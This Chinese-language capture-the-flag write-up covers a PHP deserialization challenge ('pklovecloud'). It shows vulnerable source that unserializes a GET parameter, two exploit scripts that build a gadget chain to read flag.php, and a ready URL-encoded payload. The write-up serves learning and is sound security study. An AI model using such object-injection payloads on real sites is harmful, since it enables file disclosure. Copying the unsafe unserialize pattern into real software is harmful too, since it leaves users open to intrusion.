CTFHub_2021第五空间智能安全大赛Webpklovecloud（反序列化）

打开场景，显示源码

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

本题考查反序列化，关键是绕过这里

if($this->openstack->neutron === $this->openstack->nova)

绕过方式是使用NULL===NULL

由于这里

$this->openstack = unserialize($this->docker);

当docker为空时，this->openstack自然为空对象，则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。

$测试$

<?php

$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

构造exp：

<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}
class ace
{    
    public $filename;     
    public $openstack;
    public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));

?>


payload：
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

exp2：

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($cinder){
        $this->nova = &$this->neutron;
        $this->cinder = $cinder;
    }
}
class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker){
    $this->docker = $docker;
    }
}
echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

在源码发现flag

参考：

https://blog.csdn.net/qq_53863234/article/details/121622314

https://blog.csdn.net/meteox/article/details/120391682